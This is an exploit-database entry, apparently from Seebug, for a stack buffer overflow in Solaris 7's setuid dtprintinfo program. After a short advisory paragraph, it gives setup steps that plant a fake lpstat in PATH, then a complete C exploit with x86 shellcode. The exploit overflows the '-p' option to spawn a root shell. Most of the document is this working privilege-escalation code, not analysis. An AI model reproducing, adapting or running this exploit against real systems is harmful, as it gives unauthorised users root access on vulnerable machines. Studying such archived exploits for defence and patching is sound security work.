Lucene search

K
seebugRootSSV:73147
HistoryJul 01, 2014 - 12:00 a.m.

Sun Solaris <= 7.0 dtprintinfo Buffer Overflow Vulnerability

2014-07-0100:00:00
Root
www.seebug.org
11

No description provided by source.


                                                source: http://www.securityfocus.com/bid/249/info

The dtprintinfo is a setuid commands open the CDE Print Manager window. A stack based buffer overflow in the handling of the &#34;-p&#34; option allow the execution of arbitrary code as root.

This vulnerablity has been assigned Sun Bug# 4139394. The vulnerability is in the CDE 1.2 and CDE 1.3 subsystem of Solaris 2.6 and Solaris 7 respectibly. 

Before executing the ex_dtprintinfo exploit set your DISPLAY environment variable correctly, and make a dummy lpstat command like:

% cat &#62; lpstat
echo &#34;system for lpprn: server.com&#34;
^D
% chmod 755 lpstat
% setenv PATH .:$PATH
% gcc ex_dtprintinfo.c
% a.out 

/*========================================================================
   ex_dtprintinfo.c Overflow Exploits( for Intel x86 Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN ([email protected])
  ========================================================================
*/
static char             x[1000];
#define ADJUST          0
#define STARTADR        621
#define BUFSIZE         900
#define NOP             0x90
unsigned long ret_adr;
int     i;
char exploit_code[] =
&#34;\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0&#34;
&#34;\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff&#34;
&#34;\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0&#34;
&#34;\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff&#34;
&#34;\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33&#34;
&#34;\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88&#34;
&#34;\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f&#34;
&#34;\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46&#34;
&#34;\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01&#34;
&#34;\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh&#34;;

unsigned long get_sp(void)
{
  __asm__(&#34; movl %esp,%eax &#34;);
}
main()
{
        putenv(&#34;LANG=&#34;);
        for (i=0;i&#60;BUFSIZE;i++) x[i]=NOP;
        for (i=0;i&#60;strlen(exploit_code);i++)
                x[STARTADR+i]=exploit_code[i];
        ret_adr=get_sp() - 1292 + 148;
        for (i = ADJUST; i &#60; 400 ; i+=4){
                x[i+0]=ret_adr & 0xff;
                x[i+1]=(ret_adr &#62;&#62; 8 ) &0xff;
                x[i+2]=(ret_adr &#62;&#62; 16 ) &0xff;
                x[i+3]=(ret_adr &#62;&#62; 24 ) &0xff;
        }
        x[BUFSIZE]=0;
        execl(&#34;/usr/dt/bin/dtprintinfo&#34;, &#34;dtprintinfo&#34;,
        &#34;-p&#34;,x,(char *) 0);
}